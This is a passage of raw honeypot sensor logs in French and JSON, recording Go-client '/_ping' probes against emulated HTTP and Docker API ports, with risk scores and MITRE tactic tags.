"http_target_hash": "34d29ac0dbf406962c493b6d1f0282c38cecf326",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": true,
"http_ua_is_browser": false,
"bytes_in": 121,
"payload_entropy": 4.907182585335732,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "http",
"app_proto": "http",
"asn": 215925,
"country": "US",
"dst_port": 12376,
"risk_waf": 8,
"risk_classification": 16,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 35,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 1.5,
"risk_breakdown": {
"waf": 8,
"classification": 16,
"behavior": 0,
"geo": 0,
"protocol": 35,
"novelty": 15
},
"risk_score": 35,
"tag_count": 1,
"anomaly_count": 0,
"campaign_key": "e3b685de06f21e58beed9ae0b3ec6596dd00ea41",
"event_fingerprint": "47fb74da4a51a111ae4ae003d51129422f64f69a",
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "12bd583dd25b868e6423d8f04cc19fd1",
"payload_hash": "373e495a31d8618b88c1656accde2175",
"path_pattern_hash": "00dc7ebf61df5fa7329a909b3cd29345"
},
"service_name": "http",
"target_context": {
"dst_port": 12376,
"service": "http",
"service_name": "http",
"risk_score": 35
},
"payload_preview": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"method": "GET",
"path": "\/_ping",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/_ping HTTP\/1.1",
"request_sample": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"evidence": {
"method": "GET",
"path": "\/_ping",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/_ping HTTP\/1.1",
"request_sample": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"classification_reason": "Type \u00ab http \u00bb (signaux protocolaires) \u00b7 confiance 58%"
},
"classification_reason": "Type \u00ab http \u00bb (signaux protocolaires) \u00b7 confiance 58%",
"confidence_breakdown": {
"waf": 8,
"classification": 16,
"behavior": 0,
"geo": 0,
"protocol": 35,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"confidence": 0.58,
"classification_confidence": 0.58,
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "796e9d4d8254ea513c58a5b908d0934596e4bc8b",
"protocol_details": {
"http_method": "GET",
"http_path": "\/_ping",
"request_line": "GET \/_ping HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 12376,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"attack_vector": "http \u00b7 via HTTP:12376 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/_ping",
"target_port_label": "12376 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 58 % \u2014 Score WAF 8",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http \u00bb (signaux protocolaires) \u00b7 confiance 58%",
"classification_reason_label_fr": "Type \u00ab http \u00bb (signaux protocolaires) \u00b7 confiance 58%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 58,
"confidence_breakdown": {
"waf": 8,
"classification": 16,
"behavior": 0,
"geo": 0,
"protocol": 35,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 12376,
"protocol_emulated": null,
"tags_summary": null,
"tags_summary_labels_fr": null,
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/_ping",
"request_line": "GET \/_ping HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 12376,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http \u00b7 via HTTP:12376 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/_ping",
"evidence_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"target_port_label": "12376 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 58 % \u2014 Score WAF 8",
"confidence_factors_fr": "Confiance 58 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "12376"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"http_ua_suspicious"
]
}
|
|
|
TCP |
12375 · HTTP
|
http
|
http
http · via HTTP:12375 · (sonde / probe) · → /_ping
|
Moyenne
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
GET /_ping UA Go-http-client/1.1
Émulateur
HTTP
WAF
0
Recommandation
Surveiller
Tags
http_ua_suspicious
Cible HTTP
GET
/_ping
TLS SNI
—
Capteur
paris-1
|
Méthode
GET
Port
12375
Chemin / cible
/_ping
Pourquoi cette classification : Type « http » (signaux protocolaires) · confiance 58%
Confiance classification
58%
Risque capteur
Faible
· 35
Confiance : Confiance 58 % — Score WAF 8
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Ligne de requête
GET /_ping HTTP/1.1
User-Agent
Go-http-client/1.1
Règles WAF
—
Payload (extrait)
GET /_ping HTTP/1.1
Host: 62.3.50.33:12375
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
Connection: close
Meta JSON brut
{
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "c3e68bb8f388240c7ecaebb8bcb80a85536526f2",
"http_host_hash": "82e55ccc7a2d66b903a9b16f0b2ba17b4be27f13",
"http_target_hash": "34d29ac0dbf406962c493b6d1f0282c38cecf326",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": true,
"http_ua_is_browser": false,
"bytes_in": 121,
"payload_entropy": 4.907182585335732,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "http",
"app_proto": "http",
"asn": 215925,
"country": "US",
"dst_port": 12375,
"risk_waf": 8,
"risk_classification": 16,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 35,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 1.3,
"risk_breakdown": {
"waf": 8,
"classification": 16,
"behavior": 0,
"geo": 0,
"protocol": 35,
"novelty": 15
},
"risk_score": 35,
"tag_count": 1,
"anomaly_count": 0,
"campaign_key": "d25cf7a52c98f51bb78f66e17d5da51ac0072f66",
"event_fingerprint": "1470a0095a0565c4ab4beb9b9b8994a897063d0b",
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "12bd583dd25b868e6423d8f04cc19fd1",
"payload_hash": "40f5b8212e2d478a9b76d03b4d85cce5",
"path_pattern_hash": "00dc7ebf61df5fa7329a909b3cd29345"
},
"service_name": "http",
"target_context": {
"dst_port": 12375,
"service": "http",
"service_name": "http",
"risk_score": 35
},
"payload_preview": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"method": "GET",
"path": "\/_ping",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/_ping HTTP\/1.1",
"request_sample": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"evidence": {
"method": "GET",
"path": "\/_ping",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/_ping HTTP\/1.1",
"request_sample": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"classification_reason": "Type \u00ab http \u00bb (signaux protocolaires) \u00b7 confiance 58%"
},
"classification_reason": "Type \u00ab http \u00bb (signaux protocolaires) \u00b7 confiance 58%",
"confidence_breakdown": {
"waf": 8,
"classification": 16,
"behavior": 0,
"geo": 0,
"protocol": 35,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"confidence": 0.58,
"classification_confidence": 0.58,
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "546c762f0f30e2e9211a5aeb5ce1c5621f40c098",
"protocol_details": {
"http_method": "GET",
"http_path": "\/_ping",
"request_line": "GET \/_ping HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 12375,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"attack_vector": "http \u00b7 via HTTP:12375 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/_ping",
"target_port_label": "12375 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 58 % \u2014 Score WAF 8",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http \u00bb (signaux protocolaires) \u00b7 confiance 58%",
"classification_reason_label_fr": "Type \u00ab http \u00bb (signaux protocolaires) \u00b7 confiance 58%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 58,
"confidence_breakdown": {
"waf": 8,
"classification": 16,
"behavior": 0,
"geo": 0,
"protocol": 35,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 12375,
"protocol_emulated": null,
"tags_summary": null,
"tags_summary_labels_fr": null,
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/_ping",
"request_line": "GET \/_ping HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 12375,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http \u00b7 via HTTP:12375 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/_ping",
"evidence_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"target_port_label": "12375 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 58 % \u2014 Score WAF 8",
"confidence_factors_fr": "Confiance 58 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "12375"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"http_ua_suspicious"
]
}
|
|
|
TCP |
2376 · DOCKER TLS
|
docker-tls
|
docker tls probe
docker tls probe · via DOCKER TLS:2376 · (sonde / probe)
|
Élevée
|
Moyen · 45
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
DOCKER-TLS
WAF
—
Recommandation
Surveiller
Tags
docker_api_probe
docker_tls_emulated
docker_tls_payload
http_get_probe
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
2376
Chemin / cible
—
Service
DOCKER TLS
Payload
GET /_ping HTTP/1.1 Host: 62.3.50.33:2376 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip Connection: close
Pourquoi cette classification : Type « docker_tls_probe » (signaux protocolaires) · confiance 62%
Confiance classification
62%
Risque capteur
Moyen
· 45
Confiance : Confiance 62 % — 5 signal(aux) capteur
Protocole émulé
1
Signaux
Docker Tls
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Payload (extrait)
GET /_ping HTTP/1.1
Host: 62.3.50.33:2376
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "15030300020228",
"emulator_response_len": 7,
"bytes_in": 120,
"payload_entropy": 4.908526275523807,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "docker-tls",
"app_proto": "docker-tls",
"asn": 215925,
"country": "US",
"dst_port": 2376,
"risk_waf": 8,
"risk_classification": 44,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 40,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5,
"risk_breakdown": {
"waf": 8,
"classification": 44,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25
},
"risk_score": 45,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "ecac66132698f2c53170ca45331a87e4d06856d7",
"event_fingerprint": "0e1c691ada97ecfe1cd84524e4db6b819b7ed10b",
"classification_reason": "Type \u00ab docker_tls_probe \u00bb (signaux protocolaires) \u00b7 confiance 62%",
"confidence": 0.62,
"classification_confidence": 0.62,
"precision_score": 69,
"precision_signals": [
"INT-docker-tls",
"INT-upstream"
],
"kb_rule_ids": [
"INT-docker-tls",
"INT-upstream"
],
"confidence_breakdown": {
"waf": 8,
"classification": 44,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25,
"risk_score": 45
},
"named_classification_skipped": false,
"service_name": "docker-tls",
"risk_confidence_factor": 62,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "9829434df8ba002fbc6e132d1aaed959",
"path_pattern_hash": "d32a2cff6903ffd31fff36df36da58ae"
},
"target_context": {
"dst_port": 2376,
"service": "docker-tls",
"service_name": "docker-tls",
"risk_score": 45
},
"payload_preview": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"request_sample": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"evidence": {
"request_sample": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"classification_reason": "Type \u00ab docker_tls_probe \u00bb (signaux protocolaires) \u00b7 confiance 62%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "d94f6da5ca0247ef5c25464b9f7449a5e7c8861e",
"protocol_details": {
"payload_preview": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"port": 2376,
"service": "docker-tls",
"service_label_fr": "DOCKER TLS"
},
"evidence_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"attack_vector": "docker tls probe \u00b7 via DOCKER TLS:2376 \u00b7 (sonde \/ probe)",
"target_port_label": "2376 \u00b7 DOCKER TLS",
"emulator_service": "docker-tls",
"confidence_reason": "Confiance 62 % \u2014 5 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab docker_tls_probe \u00bb (signaux protocolaires) \u00b7 confiance 62%",
"classification_reason_label_fr": "Type \u00ab docker_tls_probe \u00bb (signaux protocolaires) \u00b7 confiance 62%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 45\/100",
"confidence_pct": 62,
"confidence_breakdown": {
"waf": 8,
"classification": 44,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25,
"risk_score": 45
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 45,
"risk_label": "Moyen",
"service_name": "docker-tls",
"service_label_fr": "DOCKER TLS",
"dst_port": 2376,
"protocol_emulated": true,
"tags_summary": [
"INT-docker-tls",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Docker Tls",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-docker-tls",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"payload_preview": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"port": 2376,
"service": "docker-tls",
"service_label_fr": "DOCKER TLS"
},
"attack_vector": "docker tls probe \u00b7 via DOCKER TLS:2376 \u00b7 (sonde \/ probe)",
"evidence_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"target_port_label": "2376 \u00b7 DOCKER TLS",
"emulator_service": "docker-tls",
"confidence_reason": "Confiance 62 % \u2014 5 signal(aux) capteur",
"confidence_factors_fr": "Confiance 62 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "docker_tls",
"service_banner": "honeypot-docker-tls",
"service_os": "linux",
"dst_port": "2376"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"docker_api_probe",
"docker_tls_emulated",
"docker_tls_payload",
"http_get_probe",
"net_docker_tls_probe"
]
}
|
|
|
TCP |
2375 · DOCKER
|
docker
|
Sonde API Docker
docker api probe · via DOCKER:2375 · (sonde / probe)
|
Élevée
|
Faible · 23
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
DOCKER
WAF
—
Recommandation
Surveiller
Tags
docker_api_probe
docker_emulated
docker_payload
http_get_probe
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
2375
Chemin / cible
—
Service
DOCKER
Payload
GET /_ping HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip Connection: close
Pourquoi cette classification : Type « docker_api_probe » (signaux protocolaires) · confiance 0%
Confiance classification
0%
Risque capteur
Faible
· 23
Confiance : Confiance 0 % — 5 signal(aux) capteur
Protocole émulé
1
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Payload (extrait)
GET /_ping HTTP/1.1
Host: 62.3.50.33:2375
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a5365727665723a20446f636b65722f32342e302e350d0a436f6e74656e742d4c656e6774683a2036380d0a0d0a7b2241706956657273696f6e223a22312e3431222c2256657273696f6e223a223234",
"emulator_response_len": 162,
"bytes_in": 120,
"payload_entropy": 4.908526275523807,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "docker",
"app_proto": "docker",
"asn": 215925,
"country": "US",
"dst_port": 2375,
"risk_waf": 8,
"risk_classification": 60,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 40,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 4.8,
"risk_breakdown": {
"waf": 8,
"classification": 60,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25
},
"risk_score": 23,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "8c1839cdbd9fa9388eb8b04668a8b57ccf5e28c3",
"event_fingerprint": "00a875d783a0dbdbe0de1f97f4b47b47ab6b3d3e",
"classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%",
"confidence": 0,
"classification_confidence": 0,
"precision_score": 0,
"precision_signals": [],
"kb_rule_ids": [],
"confidence_breakdown": {
"waf": 8,
"classification": 60,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25,
"risk_score": 23
},
"named_classification_skipped": false,
"service_name": "docker",
"risk_confidence_factor": 0,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "79eb5174abbe8530894d19001a604c1b",
"path_pattern_hash": "f1831d9f4a5a77b3112c071eb8abe3e6"
},
"target_context": {
"dst_port": 2375,
"service": "docker",
"service_name": "docker",
"risk_score": 23
},
"payload_preview": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"request_sample": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"evidence": {
"request_sample": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"cloud_infra_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "f90e64b52d422d1b9c960e6af86ba8fc92266947",
"protocol_details": {
"payload_preview": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"port": 2375,
"service": "docker",
"service_label_fr": "DOCKER"
},
"evidence_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)",
"target_port_label": "2375 \u00b7 DOCKER",
"emulator_service": "docker",
"confidence_reason": "Confiance 0 % \u2014 5 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%",
"classification_reason_label_fr": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%",
"executive_one_liner_fr": "Activit\u00e9 suspecte",
"confidence_pct": 0,
"confidence_breakdown": {
"waf": 8,
"classification": 60,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25,
"risk_score": 23
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 23,
"risk_label": "Faible",
"service_name": "docker",
"service_label_fr": "DOCKER",
"dst_port": 2375,
"protocol_emulated": true,
"tags_summary": null,
